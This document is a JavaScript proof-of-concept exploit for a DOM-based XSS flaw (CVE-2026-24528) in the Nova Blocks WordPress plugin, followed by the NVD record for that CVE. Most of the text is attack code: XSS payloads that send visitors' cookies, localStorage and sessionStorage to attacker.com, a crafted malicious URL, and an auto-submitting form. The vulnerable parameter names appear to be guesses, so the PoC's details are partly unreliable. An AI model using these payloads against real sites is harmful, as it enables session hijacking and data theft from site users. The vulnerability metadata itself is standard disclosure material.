CVE-2026-24528

// CVE-2026-24528 DOM-Based XSS PoC for Nova Blocks Plugin // Target: Nova Blocks WordPress Plugin <= 2.1.9 // Type: Reflected/ DOM XSS const targetUrl = 'https://vulnerable-site.com'; const maliciousPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">"'; // Method 1: Direct URL injection via vulnerable parameter function exploitViaURL() { const xssUrl = `${targetUrl}/?nova_blocks_param=${encodeURIComponent(maliciousPayload)}`; console.log('[+] Sending XSS payload via URL parameter'); console.log('[+] Malicious URL:', xssUrl); // Open the malicious URL in a new window (for demonstration) // window.open(xssUrl); return xssUrl; } // Method 2: Crafted HTML form auto-submission function createAutoSubmitForm() { const form = document.createElement('form'); form.method = 'POST'; form.action = targetUrl; const input = document.createElement('input'); input.type = 'hidden'; input.name = 'nova_blocks_data'; input.value = maliciousPayload; form.appendChild(input); document.body.appendChild(form); console.log('[+] Auto-submitting form with XSS payload'); // form.submit(); return form; } // Cookie stealing payload const stealCookiePayload = ` <script> document.location='https://attacker.com/log?c='+document.cookie; </script> `; // Session hijacking payload const sessionHijackPayload = ` <img src=x onerror=" fetch('https://attacker.com/api/steal', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage }) }); "> `; console.log('CVE-2026-24528 PoC for Nova Blocks DOM-XSS'); console.log('Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-24528'); console.log('Affected: Nova Blocks <= 2.1.9');

{"cve": {"id": "CVE-2026-24528", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:08.640", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pixelgrade Nova Blocks nova-blocks allows DOM-Based XSS.This issue affects Nova Blocks: from n/a through <= 2.1.9."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en pixelgrade Nova Blocks nova-blocks permite XSS basado en DOM. Este problema afecta a Nova Blocks: desde n/a hasta &lt;= 2.1.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/nova-blocks/vulnerability/wordpress-nova-blocks-plugin-2-1-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}